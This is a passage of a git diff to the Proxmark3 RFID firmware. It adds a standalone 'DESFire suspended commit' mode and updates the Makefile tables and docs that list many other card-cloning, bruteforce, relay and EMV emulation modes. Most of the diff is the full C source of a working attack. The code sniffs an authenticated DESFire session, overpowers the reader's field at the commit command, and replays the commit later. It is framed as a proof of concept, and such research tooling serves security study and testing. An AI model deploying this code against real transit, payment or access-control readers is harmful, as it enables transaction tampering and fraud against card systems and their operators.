Sam Haskins | -+----------------------------------------------------------+ -| HF_COLIN | Mifare ultra fast sniff/sim/clone | -| (RDV4 only) | - Colin Brigato | -+----------------------------------------------------------+ -| HF_CRAFTBYTE | UID stealer - Emulates scanned 14a UID | -| | - Anze Jensterle | -+----------------------------------------------------------+ -| HF_DOEGOX_AUTH0 | UL-C / UL-AES unlocker | -| | - Philippe Teuwen | -+----------------------------------------------------------+ -| HF_ICECLASS | Simulate HID iCLASS legacy ags | -| (RDV4 only) | storing in flashmem | -+----------------------------------------------------------+ -| HF_LEGIC | Read/simulate Legic Prime tags | -| | storing in flashmem | -+----------------------------------------------------------+ -| HF_LEGICSIM | Simulate Legic Prime tags | -| (RDV4 only) | stored on flashmem | -+----------------------------------------------------------+ -| HF_MATTYRUN | Mifare sniff/clone | -| | - Matías A. Ré Medina | -+----------------------------------------------------------+ -| HF_MFCSIM | Simulate Mifare Classic 1k card | -| (RDV4 only) | storing in flashmem - Ray Lee | -+----------------------------------------------------------+ -| HF_MSDSAL | Read and emulate MSD Visa cards | -| | - Salvador Mendoza | -+----------------------------------------------------------+ -| HF_REBLAY | 14A Relay over BT | -| (RDV4 only) | - Salvador Mendoza | -+----------------------------------------------------------+ -| HF_ST25_TEAROFF | Store/restore ST25TB tags with | -| | tear-off for counters - SecLabz | -+----------------------------------------------------------+ -| HF_TCPRST | IKEA Rothult read/sim/dump/emul | -| | - Nick Draffen | -+----------------------------------------------------------+ -| HF_TMUDFORD | Read and emulate 15 tags | -| | - Tim Mudford | -+----------------------------------------------------------+ -| HF_UNISNIFF | Sniff 14a/14b/15 (optionally to flash) | -| | - hazardousvoltage | -+----------------------------------------------------------+ -| HF_YOUNG | Mifare sniff/simulation | -| | - Craig Young | -+----------------------------------------------------------+ -| DANKARMULTI | Load multiple standalone modes. | -| | - Daniel Karling | -+----------------------------------------------------------+ -| HF_EMVPNG | Read and emulate EMV Visa cards | -| | - Davi Mikael (Penegui) | -+----------------------------------------------------------+ ++===========================================================+ +| STANDALONE | DESCRIPTION | ++===========================================================+ +| (empty) | No standalone mode | ++-----------------------------------------------------------+ +| LF_SKELETON | standalone mode skeleton | +| | - iceman | ++-----------------------------------------------------------+ +| LF_EM4100EMUL | Simulate predefined em4100 tags only | +| | | ++-----------------------------------------------------------+ +| LF_EM4100RSWB | Read/simulate/brute em4100 tags & | +| | clone it to T555x tags | ++-----------------------------------------------------------+ +| LF_EM4100RSWW | Read/simulate/validate em4100 tags & | +| | clone it to T55xx tags, wipe T55xx tags| ++-----------------------------------------------------------+ +| LF_EM4100RWC | Read/simulate em4100 tags & clone it | +| | to T555x tags | ++-----------------------------------------------------------+ +| LF_HIDBRUTE | HID corporate 1000 bruteforce | +| | - Federico dotta & Maurizio Agazzini | ++-----------------------------------------------------------+ +| LF_HIDFCBRUTE | HID Facility Code bruteforce | +| (RDV4 only) | | ++-----------------------------------------------------------+ +| LF_ICEHID | LF HID collector to flashmem | +| (RDV4 only) | | ++-----------------------------------------------------------+ +| LF_MULTIHID | LF HID 26 Bit (H1031) multi simulator | +| | - Shain Lakin | ++-----------------------------------------------------------+ +| LF_NEDAP_SIM | LF Nedap ID simple simulator | +| | | ++-----------------------------------------------------------+ +| LF_NEXID | LF Nexwatch collector to flashmem | +| (RDV4 only) | | ++-----------------------------------------------------------+ +| LF_PROXBRUTE | HID ProxII bruteforce | +| | - Brad Antoniewicz | ++-----------------------------------------------------------+ +| LF_PROX2BRUTE | HID ProxII bruteforce v2 | +| | | ++-----------------------------------------------------------+ +| LF_SAMYRUN | HID26 read/clone/sim | +| (default) | - Samy Kamkar | ++-----------------------------------------------------------+ +| LF_THAREXDE | Simulate/read EM4x50 tags | +| (RDV4 only) | storing in flashmem | ++-----------------------------------------------------------+ +| HF_14ASNIFF | 14a sniff to flashmem (rdv4) or ram | +| | | ++-----------------------------------------------------------+ +| HF_14BSNIFF | 14b sniff to flashmem (rdv4) or ram | +| | | ++-----------------------------------------------------------+ +| HF_15SNIFF | 15693 sniff to flashmem (rdv4) or ram | +| | | ++-----------------------------------------------------------+ +| HF_15SIM | 15693 tag simulator | +| | | ++-----------------------------------------------------------+ +| HF_AVEFUL | Mifare ultralight read/simulation | +| | - Ave Ozkal | ++-----------------------------------------------------------+ +| HF_BOG | 14a sniff with ULC/ULEV1/NTAG auth | +| (RDV4 only) | storing in flashmem - Bogito | ++-----------------------------------------------------------+ +| HF_CARDHOPPER | Relay 14a protocols over long distances| +| (RDV4 only) | (w/ IP backbone) - Sam Haskins | ++-----------------------------------------------------------+ +| HF_COLIN | Mifare ultra fast sniff/sim/clone | +| (RDV4 only) | - Colin Brigato | ++-----------------------------------------------------------+ +| HF_CRAFTBYTE | UID stealer - Emulates scanned 14a UID | +| | - Anze Jensterle | ++-----------------------------------------------------------+ +| HF_DOEGOX_AUTH0 | UL-C / UL-AES unlocker | +| | - Philippe Teuwen | ++-----------------------------------------------------------+ +| HF_DOEGOX_COMMIT | DESFire suspended commit | +| | - Philippe Teuwen | ++-----------------------------------------------------------+ +| HF_ICECLASS | Simulate HID iCLASS legacy ags | +| (RDV4 only) | storing in flashmem | ++-----------------------------------------------------------+ +| HF_LEGIC | Read/simulate Legic Prime tags | +| | storing in flashmem | ++-----------------------------------------------------------+ +| HF_LEGICSIM | Simulate Legic Prime tags | +| (RDV4 only) | stored on flashmem | ++-----------------------------------------------------------+ +| HF_MATTYRUN | Mifare sniff/clone | +| | - Matías A. Ré Medina | ++-----------------------------------------------------------+ +| HF_MFCSIM | Simulate Mifare Classic 1k card | +| (RDV4 only) | storing in flashmem - Ray Lee | ++-----------------------------------------------------------+ +| HF_MSDSAL | Read and emulate MSD Visa cards | +| | - Salvador Mendoza | ++-----------------------------------------------------------+ +| HF_REBLAY | 14A Relay over BT | +| (RDV4 only) | - Salvador Mendoza | ++-----------------------------------------------------------+ +| HF_ST25_TEAROFF | Store/restore ST25TB tags with | +| | tear-off for counters - SecLabz | ++-----------------------------------------------------------+ +| HF_TCPRST | IKEA Rothult read/sim/dump/emul | +| | - Nick Draffen | ++-----------------------------------------------------------+ +| HF_TMUDFORD | Read and emulate 15 tags | +| | - Tim Mudford | ++-----------------------------------------------------------+ +| HF_UNISNIFF | Sniff 14a/14b/15 (optionally to flash) | +| | - hazardousvoltage | ++-----------------------------------------------------------+ +| HF_YOUNG | Mifare sniff/simulation | +| | - Craig Young | ++-----------------------------------------------------------+ +| DANKARMULTI | Load multiple standalone modes. | +| | - Daniel Karling | ++-----------------------------------------------------------+ +| HF_EMVPNG | Read and emulate EMV Visa cards | +| | - Davi Mikael (Penegui) | ++-----------------------------------------------------------+ endef STANDALONE_MODES := LF_SKELETON STANDALONE_MODES += LF_EM4100EMUL LF_EM4100RSWB LF_EM4100RSWW LF_EM4100RWC LF_HIDBRUTE LF_HIDFCBRUTE LF_ICEHID LF_MULTIHID LF_NEDAP_SIM LF_NEXID LF_PROXBRUTE LF_PROX2BRUTE LF_SAMYRUN LF_THAREXDE -STANDALONE_MODES += HF_14ASNIFF HF_14BSNIFF HF_15SNIFF HF_15SIM HF_AVEFUL HF_BOG HF_CARDHOPPER HF_COLIN HF_CRAFTBYTE HF_DOEGOX_AUTH0 HF_ICECLASS HF_LEGIC HF_LEGICSIM HF_MATTYRUN HF_MFCSIM HF_MSDSAL HF_REBLAY HF_ST25_TEAROFF HF_TCPRST HF_TMUDFORD HF_UNISNIFF HF_YOUNG HF_EMVPNG +STANDALONE_MODES += HF_14ASNIFF HF_14BSNIFF HF_15SNIFF HF_15SIM HF_AVEFUL HF_BOG HF_CARDHOPPER HF_COLIN HF_CRAFTBYTE HF_DOEGOX_AUTH0 HF_DOEGOX_COMMIT HF_ICECLASS HF_LEGIC HF_LEGICSIM HF_MATTYRUN HF_MFCSIM HF_MSDSAL HF_REBLAY HF_ST25_TEAROFF HF_TCPRST HF_TMUDFORD HF_UNISNIFF HF_YOUNG HF_EMVPNG STANDALONE_MODES += DANKARMULTI STANDALONE_MODES_REQ_BT := HF_CARDHOPPER HF_REBLAY STANDALONE_MODES_REQ_SMARTCARD := diff --git a/armsrc/Standalone/Makefile.inc b/armsrc/Standalone/Makefile.inc index 0358cd510..c54602187 100644 --- a/armsrc/Standalone/Makefile.inc +++ b/armsrc/Standalone/Makefile.inc @@ -117,6 +117,10 @@ endif ifneq (,$(findstring WITH_STANDALONE_HF_DOEGOX_AUTH0,$(APP_CFLAGS))) SRC_STANDALONE = hf_doegox_auth0.c endif +# WITH_STANDALONE_HF_DOEGOX_COMMIT +ifneq (,$(findstring WITH_STANDALONE_HF_DOEGOX_COMMIT,$(APP_CFLAGS))) + SRC_STANDALONE = hf_doegox_commit.c +endif # WITH_STANDALONE_HF_ICECLASS ifneq (,$(findstring WITH_STANDALONE_HF_ICECLASS,$(APP_CFLAGS))) SRC_STANDALONE = hf_iceclass.c diff --git a/armsrc/Standalone/hf_doegox_auth0.c b/armsrc/Standalone/hf_doegox_auth0.c index 51ebfb4ab..c1796ff2a 100644 --- a/armsrc/Standalone/hf_doegox_auth0.c +++ b/armsrc/Standalone/hf_doegox_auth0.c @@ -79,9 +79,6 @@ #include "commonutil.h" #include "BigBuf.h" -#define DELAY_READER_AIR2ARM_AS_SNIFFER (2 + 3 + 8) -#define DELAY_TAG_AIR2ARM_AS_SNIFFER (3 + 14 + 8) - typedef enum { ST_LOOK_FOR_CARD = 0, ST_SNIFF_AUTH, diff --git a/armsrc/Standalone/hf_doegox_commit.c b/armsrc/Standalone/hf_doegox_commit.c new file mode 100644 index 000000000..89dc91b20 --- /dev/null +++ b/armsrc/Standalone/hf_doegox_commit.c @@ -0,0 +1,430 @@ +//----------------------------------------------------------------------------- +// Copyright (C) Philippe Teuwen, 2026 +// Copyright (C) Proxmark3 contributors. See AUTHORS.md for details. +// +// This program is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// (at your option) any later version. +// +// This program is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// See LICENSE.txt for the text of the license. +//----------------------------------------------------------------------------- +// +// Standalone mode: Suspend commit on DESFire +// +// Disclaimer: +// This is a proof of concept, not a polished tool. +// +// Description: +// It attempts to take over an authenticated session between a reader and +// a DESFire tag, and suspend the commit operation. +// In principle, this requires a relay attack implying two Proxmark3 devices, +// but this code allows to do it with a single Proxmark3. +// The original relay attack was presented by Rory Flynn in his thesis +// "An investigation of possible attacks on the MIFARE DESFire EV1 smartcard used in public transportation", 2019 +// +// Principle of operation: +// It starts as a sniffer, waiting for a commit operation between a reader and a tag. +// Once it detects the beginning of a reader commit command, it waits until the CRC is about to come in, then +// it quickly switches to reader mode to take over the reader field. +// If the tag is positioned to have a much stronger coupling with the Proxmark3 +// than with the reader, the Proxmark3 field will obliterate the reader field, +// keeping the tag powered and blocking the reader's commands. +// Then, once the reader is moved away, the Proxmark3 can recompute the CRC and send the commit command. +// +// Relative positions are important: +// - Ensure a good coupling between tag and RDV4 +// - Try to get the reader authenticating the tag from as far as possible, with the RDV4 directly behind the tag +// - Still, you may need to come a bit closer if the RDV4 cannot sniff properly the communication +// +// Limitations: +// - So far, it only works with RDV4 (which has a 9V antenna driver vs. the 5V of Easy versions) +// - EV3 may have a Transaction Timer configured as a countermeasure. EV1 and EV2 do not have this timer. +// +// Tested modes: +// - RDV4 + MF3D42 + RDV4 "hf mfdes write ... --algo aes --commit" +// +// Usage: +// LEDS: 0 = off, 1 = on, * = blink A B C D +// ------------------------------------------------------------------------ +// Start standalone mode => * 0 0 1 +// Place a DESFire tag on the Proxmark3 +// if the pm3 detects it: => 1 * 0 0 +// Bring tag and pm3 slowly towards the authenticating reader +// if the pm3 detects a commit command: => 1 1 * 0 +// Pull the tag and Proxmark3 together away from the reader +// Press the button 1 second and release it +// if the pm3 managed to commit: => 1 1 1 1 +// if it failed to commit, D will blink very fast => 1 1 1 * +// Press the button and release it +// exit standalone mode => 0 0 0 0 + + +#include "standalone.h" // standalone definitions +#include "proxmark3_arm.h" +#include "fpgaloader.h" +#include "iso14443a.h" +#include "util.h" +#include "appmain.h" +#include "dbprint.h" +#include "ticks.h" +#include "protocols.h" +#include "mifareutil.h" +#include "string.h" +#include "commonutil.h" +#include "BigBuf.h" + +typedef enum { + ST_LOOK_FOR_CARD = 0, + ST_SNIFF_COMMIT, + ST_WAIT_BUTTON, + ST_WAIT_BUTTON_RELEASE, + ST_COMMIT, + ST_EXIT +} state_t; + +typedef enum { + TAG_NONE = 0, + TAG_MFDES, + TAG_OTHER, +} tag_t; + +static uint8_t commitCmd[256]; +static uint16_t commitCmdLen; + +static void blink_led_slow(uint8_t led) { + LED(led, 1); + SpinDelay(200); + LED(led, 0); + SpinDelay(200); +} + +static void blink_led_fast(uint8_t led) { + LED(led, 1); + SpinDelay(40); + LED(led, 0); + SpinDelay(40); +} + +static bool find_tag(tag_t *tag_type) { + *tag_type = TAG_NONE; + iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); + LED_D_OFF(); + iso14a_card_select_t card; + if (iso14443a_select_card(NULL, &card, NULL, true, 0, false) == false) { + goto out; + } + + Dbprintf("Found card with SAK: %02X, ATQA: %02X %02X", card.sak, card.atqa[0], card.atqa[1]); + if (card.sak != 0x20) { + *tag_type = TAG_OTHER; + DbpString("Not a DESFire tag. Ignoring..."); + goto out; + } + uint8_t version[10] = {0x00}; + uint16_t version_len = 0; + uint8_t version_cmd[8] = {0x02, 0x90, MFDES_GET_VERSION, 0x00, 0x00, 0x00, 0x00, 0x00}; + AddCrc14A(version_cmd, sizeof(version_cmd) - 2); + ReaderTransmit(version_cmd, sizeof(version_cmd), NULL); + version_len = ReaderReceive(version, ARRAYLEN(version), NULL); + // Dbprintf("GetVersion resp(%u):", version_len); + // Dbhexdump(version_len, version, 0); + if ((version_len >= 3) && (version[1] == 0x04) && ((version[2] & 0x0F) == 0x01)) { + *tag_type = TAG_MFDES; + DbpString("Found DESFire"); + goto out; + } + *tag_type = TAG_OTHER; +out: + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + return *tag_type != TAG_NONE; +} + +static tUart14a *uart; +static tDemod14a *demod; + +// Derived from SniffIso14443a +// wait for commit command +static bool RAMFUNC sniff_wait_for_commit(tag_t type) { + + iso14443a_setup(FPGA_HF_ISO14443A_SNIFFER); + + // Allocate memory from BigBuf for some buffers + // free all previous allocations first + BigBuf_free(); + BigBuf_Clear_ext(false); + bool found_commit = false; + + // The command (reader -> tag) that we're receiving. + uint8_t *receivedCmd = BigBuf_calloc(MAX_FRAME_SIZE); + uint8_t *receivedCmdPar = BigBuf_calloc(MAX_PARITY_SIZE); + + // The response (tag -> reader) that we're receiving. + uint8_t *receivedResp = BigBuf_calloc(MAX_FRAME_SIZE); + uint8_t *receivedRespPar = BigBuf_calloc(MAX_PARITY_SIZE); + + uint8_t previous_data = 0; + int maxDataLen = 0, dataLen; + bool TagIsActive = false; + bool ReaderIsActive = false; + + // Set up the demodulator for tag -> reader responses. + Demod14aInit(receivedResp, MAX_FRAME_SIZE, receivedRespPar); + + // Set up the demodulator for the reader -> tag commands + Uart14aInit(receivedCmd, MAX_FRAME_SIZE, receivedCmdPar); + + // The DMA buffer, used to stream samples from the FPGA + dmabuf8_t *dma = get_dma8(); + uint8_t *data = dma->buf; + + // Setup and start DMA. + if (FpgaSetupSscDma((uint8_t *) dma->buf, DMA_BUFFER_SIZE) == false) { + if (g_dbglevel > DBG_ERROR) Dbprintf("FpgaSetupSscDma failed. Exiting"); + goto out; + } + + uint32_t rx_samples = 0; + + // loop and listen + uint32_t ledb_counter = 0; + while (BUTTON_PRESS() == false) { + register int readBufDataP = data - dma->buf; + register int dmaBufDataP = DMA_BUFFER_SIZE - AT91C_BASE_PDC_SSC->PDC_RCR; + if (readBufDataP <= dmaBufDataP) { + dataLen = dmaBufDataP - readBufDataP; + } else { + dataLen = DMA_BUFFER_SIZE - readBufDataP + dmaBufDataP; + } + + // test for length of buffer + if (dataLen > maxDataLen) { + maxDataLen = dataLen; + if (dataLen > (9 * DMA_BUFFER_SIZE / 10)) { + Dbprintf("[!] blew circular buffer! | datalen %u counter %u", dataLen, ledb_counter); + break; + } + } + if (dataLen < 1) { + continue; + } + WDT_HIT(); + if (ledb_counter++ > 100000) { + LED_B_INV(); + ledb_counter = 0; + } + + // primary buffer was stopped( <-- we lost data! + if (AT91C_BASE_PDC_SSC->PDC_RCR == 0) { + AT91C_BASE_PDC_SSC->PDC_RPR = (uint32_t) dma->buf; + AT91C_BASE_PDC_SSC->PDC_RCR = DMA_BUFFER_SIZE; + // Dbprintf("[-] RxEmpty ERROR | data length %d", dataLen); // temporary + } + // secondary buffer sets as primary, secondary buffer was stopped + if (AT91C_BASE_PDC_SSC->PDC_RNCR == 0) { + AT91C_BASE_PDC_SSC->PDC_RNPR = (uint32_t) dma->buf; + AT91C_BASE_PDC_SSC->PDC_RNCR = DMA_BUFFER_SIZE; + } + + // Need two samples to feed Miller and Manchester-Decoder + if (rx_samples & 0x01) { + + if (!TagIsActive) { // no need to try decoding reader data if the tag is sending + uint8_t readerdata = (previous_data & 0xF0) | (*data >> 4); + if (MillerDecoding(readerdata, (rx_samples - 1) * 4)) { + // Dbprintf("Received reader command (%i):", uart->len); + // Dbhexdump(uart->len, receivedCmd, 0); + // ready to receive another command + Uart14aReset(); + // reset the demod code, which might have been + // false-triggered by the commands from the reader + Demod14aReset(); + } else { + if ((uart->bitCount == 0) && + (uart->len == 6) && + (receivedCmd[1] == 0x90) && + (receivedCmd[2] == 0xC7)) { + // Dbprintf("Partial commit command (%i):", uart->len); + // Dbhexdump(uart->len, receivedCmd, 0); + memcpy(commitCmd, receivedCmd, uart->len); + commitCmdLen = uart->len + 2; + found_commit = true; + goto out; + } + } + + ReaderIsActive = (uart->state != STATE_14A_UNSYNCD); + } + + // no need to try decoding tag data if the reader is sending - and we cannot afford the time + if (!ReaderIsActive) { + uint8_t tagdata = (previous_data << 4) | (*data & 0x0F); + if (ManchesterDecoding(tagdata, 0, (rx_samples - 1) * 4)) { + // Dbprintf("Received tag response (%i):", demod->len); + // Dbhexdump(demod->len, receivedResp, 0); + + // ready to receive another response. + Demod14aReset(); + // reset the Miller decoder including its (now outdated) input buffer + Uart14aReset(); + // UartInit(receivedCmd, receivedCmdPar); + } + TagIsActive = (demod->state != DEMOD_14A_UNSYNCD); + } + } + + previous_data = *data; + rx_samples++; + data++; + if (data == dma->buf + DMA_BUFFER_SIZE) { + data = dma->buf; + } + } // end main loop +out: + if (found_commit) { + // Bring HF on to take over reader field + iso14443a_setup(FPGA_HF_ISO14443A_READER_LISTEN); + LED_D_OFF(); + } else { + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + } + FpgaDisableTracing(); + FpgaDisableSscDma(); + return found_commit; +} + +static bool commit(tag_t type) { + bool success = false; + uint8_t resp[15] = {0x00}; + uint16_t resp_len = 0; + AddCrc14A(commitCmd, 6); + ReaderTransmit(commitCmd, commitCmdLen, NULL); + resp_len = ReaderReceive(resp, ARRAYLEN(resp), NULL); + Dbprintf("Commit resp(%u): %02X %02X", resp_len, resp[resp_len - 4], resp[resp_len - 3]); + if (resp_len > 4 && resp[resp_len - 4] == 0x91 && resp[resp_len - 3] == 0x00) { + success = true; + } + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + return success; +} + +void ModInfo(void) { + DbpString("DESFire suspended commit by Philippe Teuwen"); +} + +void RunMod(void) { + state_t state = ST_LOOK_FOR_CARD; + tag_t tag_type = TAG_NONE; + + uart = GetUart14a(); + demod = GetDemod14a(); + + StandAloneMode(); + Dbprintf("Doegox DESFire suspended commit started"); + FpgaDownloadAndGo(FPGA_BITSTREAM_HF); + set_tracing(false); + LEDsoff(); + bool welcome_state_look = true; + bool welcome_state_sniff = true; + bool welcome_state_button = true; + + for (;;) { + if (state == ST_EXIT || ((state != ST_WAIT_BUTTON) && (state != ST_WAIT_BUTTON_RELEASE) && BUTTON_PRESS())) { + break; + } + + switch (state) { + case ST_LOOK_FOR_CARD: { + if (welcome_state_look) { + Dbprintf("Place a DESFire tag on the Proxmark3."); + welcome_state_look = false; + } + blink_led_slow(LED_A); + if (find_tag(&tag_type)) { + if (tag_type == TAG_MFDES) { + DbpString("Found DESFire tag!"); + state = ST_SNIFF_COMMIT; + // SpinDelay(1000); + break; + } else { + DbpString("Found other tag type, ignoring..."); + uint32_t t0 = GetTickCount(); + while (GetTickCount() - t0 < 2000) { + blink_led_fast(LED_A); + } + } + } + break; + } + case ST_SNIFF_COMMIT: { + if (welcome_state_sniff) { + Dbprintf("Bring the tag and Proxmark3 together slowly towards the authenticating reader."); + welcome_state_sniff = false; + } + LED_A_ON(); + LED_B_ON(); + if (sniff_wait_for_commit(tag_type)) { + LED_B_ON(); + LED_C_ON(); + DbpString("Reader wants to commit!"); + state = ST_WAIT_BUTTON; + } + break; + } + case ST_WAIT_BUTTON: { + if (welcome_state_button) { + Dbprintf("Pull the tag and Proxmark3 together away from the reader, then press the button."); + welcome_state_button = false; + } + LED_A_ON(); + LED_B_ON(); + blink_led_slow(LED_C); + if (BUTTON_PRESS()) { + state = ST_WAIT_BUTTON_RELEASE; + } + break; + } + case ST_WAIT_BUTTON_RELEASE: { + LED_A_ON(); + LED_B_ON(); + blink_led_slow(LED_C); + if (BUTTON_PRESS() == false) { + state = ST_COMMIT; + } + break; + } + case ST_COMMIT: { + LED_A_ON(); + LED_B_ON(); + LED_C_ON(); + if (commit(tag_type)) { + Dbprintf("Commit successful! Press the button to exit."); + LED_D_ON(); + while (!BUTTON_PRESS()) {} + } else { + Dbprintf("Commit failed. Press the button to exit."); + while (!BUTTON_PRESS()) { + blink_led_fast(LED_D); + } + } + state = ST_EXIT; + break; + } + case ST_EXIT: + break; + default: + state = ST_LOOK_FOR_CARD; + break; + } + WDT_HIT(); + } + + DbpString("Exiting"); + FpgaWriteConfWord(FPGA_MAJOR_MODE_OFF); + LEDsoff(); +} diff --git a/armsrc/Standalone/readme.md b/armsrc/Standalone/readme.md index 25f5d94d4..e85c06cc7 100644 --- a/armsrc/Standalone/readme.md +++ b/armsrc/Standalone/readme.md @@ -60,7 +60,8 @@ As such the information inside may be false or hallucinated. | HF_CARDHOPPER | [CardHopper Relay](../../doc/standalone/hf_cardhopper.md) | Long-range 14A relay over serial/IP | RDV4 (BT) | | HF_COLIN | [VIGIKPWN](../../doc/standalone/hf_colin.md) | MIFARE Classic ultra-fast sniff/sim/clone | RDV4 (flash) | | HF_CRAFTBYTE | [CraftByte UID Stealer](../../doc/standalone/hf_craftbyte.md) | Scan and emulate ISO14443A UIDs | Generic | -| HF_DOEGOX_AUTH0 | [UL-C/UL-AES Unlocker](../../doc/standalone/hf_doegox_auth0.md) | Unlock password-protected Ultralight tags | Generic | +| HF_DOEGOX_AUTH0 | [UL-C/UL-AES Unlocker](../../doc/standalone/hf_doegox_auth0.md) | Unlock password-protected Ultralight tags | RDV4 (antenna) | +| HF_DOEGOX_COMMIT | [DESFire suspended commit](../../doc/standalone/hf_doegox_commit.md) | DESFire Suspend commit without relay | RDV4 (antenna) | | HF_EMVPNG | [EMV Visa Reader/Emulator](../../doc/standalone/hf_emvpng.md) | Read Visa EMV cards and emulate transactions | RDV4 (flash) | | HF_ICECLASS | [IceClass iCLASS](../../doc/standalone/hf_iceclass.md) | iCLASS multi-mode: sim/dump/attack/config | RDV4 (flash) | | HF_LEGIC | [Legic Prime Reader](../../doc/standalone/hf_legic.md) | Read and simulate Legic Prime tags | Generic | diff --git a/doc/md/Use_of_Proxmark/4_Advanced-compilation-parameters.md b/doc/md/Use_of_Proxmark/4_Advanced-compilation-parameters.md index 96759a9cf..c871e6d46 100644 --- a/doc/md/Use_of_Proxmark/4_Advanced-compilation-parameters.md +++ b/doc/md/Use_of_Proxmark/4_Advanced-compilation-parameters.md @@ -117,48 +117,49 @@ The Iceman repository gives you to easily choose which standalone mode to embed Documentation for each standalone mode can be found in the [Standalone Modes Index](../../armsrc/Standalone/readme.md#individual-mode-documentation). Here are the supported values you can assign to `STANDALONE` in `Makefile.platform`: -| STANDALONE | DESCRIPTION | -|-----------------|----------------------------------------| -| | No standalone mode -| LF_EM4100EMUL | LF EM4100 simulator standalone mode - temskiy -| LF_EM4100RSWB | LF EM4100 read/write/clone/brute mode - Monster1024 -| LF_EM4100RSWW | LF EM4100 read/write/clone/validate/wipe mode - Łukasz "zabszk" Jurczyk -| LF_EM4100RWC | LF EM4100 read/write/clone mode - temskiy -| LF_HIDBRUTE | HID corporate 1000 bruteforce - Federico dotta & Maurizio Agazzini -| LF_HIDFCBRUTE | LF HID facility code bruteforce - ss23 -| LF_ICEHID | LF HID collector to flashmem - Iceman1001 -| LF_MULTIHID | LF HID 26 Bit (H1031) multi simulator - Shain Lakin -| LF_NEDAP_SIM | LF Nedap ID simulator -| LF_NEXID | Nexwatch credentials detection mode - jrjgjk & Zolorah -| LF_PROXBRUTE | HID ProxII bruteforce - Brad Antoniewicz -| LF_PROX2BRUTE | HID ProxII bruteforce v2 - Yann Gascuel -| LF_SAMYRUN (def)| HID26 read/clone/sim - Samy Kamkar -| LF_SKELETON | standalone mode skeleton - Iceman1001 -| LF_THAREXDE | LF EM4x50 simulator/read standalone mode - tharexde -| HF_14ASNIFF | 14a sniff storing to flashmem - Micolous -| HF_14BSNIFF | 14b sniff - jacopo-j -| HF_15SNIFF | 15693 sniff storing to flashmem - Glaser -| HF_15SIM | 15693 simulator - lnv42 -| HF_AVEFUL | MIFARE Ultralight read/simulation - Ave Ozkal -| HF_BOG | 14a sniff with ULC/ULEV1/NTAG auth storing in flashmem - Bogito -| HF_CARDHOPPER | Long distance (over IP) relay of 14a protocols - Sam Haskins -| HF_COLIN | Mifare ultra fast sniff/sim/clone - Colin Brigato -| HF_CRAFTBYTE | UID stealer - Emulates scanned 14a UID - Anze Jensterle -| HF_DOEGOX_AUTH0 | UL-C / UL-AES unlocker - Philippe Teuwen (doegox) -| HF_ICECLASS | iCLASS 4-1 mode sim/read & dump/loclass/glitch & config to flashmem - Iceman1001 -| HF_LEGIC | HF Legic Prime Read/Store/Sim standalone - uhei -| HF_LEGICSIM | HF Legic Prime Simulate standalone - uhei -| HF_MATTYRUN | Mifare sniff/clone - Matías A. Ré Medina -| HF_MFCSIM | Simulate Mifare Classic 1k card storing in flashmem - Ray Lee -| HF_MSDSAL | EMV Read and emulation - Salvador Mendoza -| HF_REBLAY | 14A relay over BT - Salvador Mendoza -| HF_ST25_TEAROFF | Store/restore ST25TB tags with tear-off for counters - SecLabz -| HF_TCPRST | IKEA Rothult ST25TA, Standalone Master Key Dump/Emulation - Nick Draffen -| HF_TMUDFORD | Read and emulate ISO15693 card UID - Tim Mudford -| HF_UNISNIFF | Combined 14a/14b/15 sniffer with runtime selection & extra save options -| HF_YOUNG | Mifare sniff/simulation - Craig Young -| HF_EMVPNG | EMV Read and emulation - Davi Mikael (Penegui) -| DANKARMULTI | Standalone mode that bakes together multiple other standalone modes. - dankar +| STANDALONE | DESCRIPTION | +|------------------|----------------------------------------| +| | No standalone mode +| LF_EM4100EMUL | LF EM4100 simulator standalone mode - temskiy +| LF_EM4100RSWB | LF EM4100 read/write/clone/brute mode - Monster1024 +| LF_EM4100RSWW | LF EM4100 read/write/clone/validate/wipe mode - Łukasz "zabszk" Jurczyk +| LF_EM4100RWC | LF EM4100 read/write/clone mode - temskiy +| LF_HIDBRUTE | HID corporate 1000 bruteforce - Federico dotta & Maurizio Agazzini +| LF_HIDFCBRUTE | LF HID facility code bruteforce - ss23 +| LF_ICEHID | LF HID collector to flashmem - Iceman1001 +| LF_MULTIHID | LF HID 26 Bit (H1031) multi simulator - Shain Lakin +| LF_NEDAP_SIM | LF Nedap ID simulator +| LF_NEXID | Nexwatch credentials detection mode - jrjgjk & Zolorah +| LF_PROXBRUTE | HID ProxII bruteforce - Brad Antoniewicz +| LF_PROX2BRUTE | HID ProxII bruteforce v2 - Yann Gascuel +| LF_SAMYRUN (def) | HID26 read/clone/sim - Samy Kamkar +| LF_SKELETON | standalone mode skeleton - Iceman1001 +| LF_THAREXDE | LF EM4x50 simulator/read standalone mode - tharexde +| HF_14ASNIFF | 14a sniff storing to flashmem - Micolous +| HF_14BSNIFF | 14b sniff - jacopo-j +| HF_15SNIFF | 15693 sniff storing to flashmem - Glaser +| HF_15SIM | 15693 simulator - lnv42 +| HF_AVEFUL | MIFARE Ultralight read/simulation - Ave Ozkal +| HF_BOG | 14a sniff with ULC/ULEV1/NTAG auth storing in flashmem - Bogito +| HF_CARDHOPPER | Long distance (over IP) relay of 14a protocols - Sam Haskins +| HF_COLIN | Mifare ultra fast sniff/sim/clone - Colin Brigato +| HF_CRAFTBYTE | UID stealer - Emulates scanned 14a UID - Anze Jensterle +| HF_DOEGOX_AUTH0 | UL-C / UL-AES unlocker - Philippe Teuwen (doegox) +| HF_DOEGOX_COMMIT | DESFire suspended commit - Philippe Teuwen (doegox) +| HF_ICECLASS | iCLASS 4-1 mode sim/read & dump/loclass/glitch & config to flashmem - Iceman1001 +| HF_LEGIC | HF Legic Prime Read/Store/Sim standalone - uhei +| HF_LEGICSIM | HF Legic Prime Simulate standalone - uhei +| HF_MATTYRUN | Mifare sniff/clone - Matías A. Ré Medina +| HF_MFCSIM | Simulate Mifare Classic 1k card storing in flashmem - Ray Lee +| HF_MSDSAL | EMV Read and emulation - Salvador Mendoza +| HF_REBLAY | 14A relay over BT - Salvador Mendoza +| HF_ST25_TEAROFF | Store/restore ST25TB tags with tear-off for counters - SecLabz +| HF_TCPRST | IKEA Rothult ST25TA, Standalone Master Key 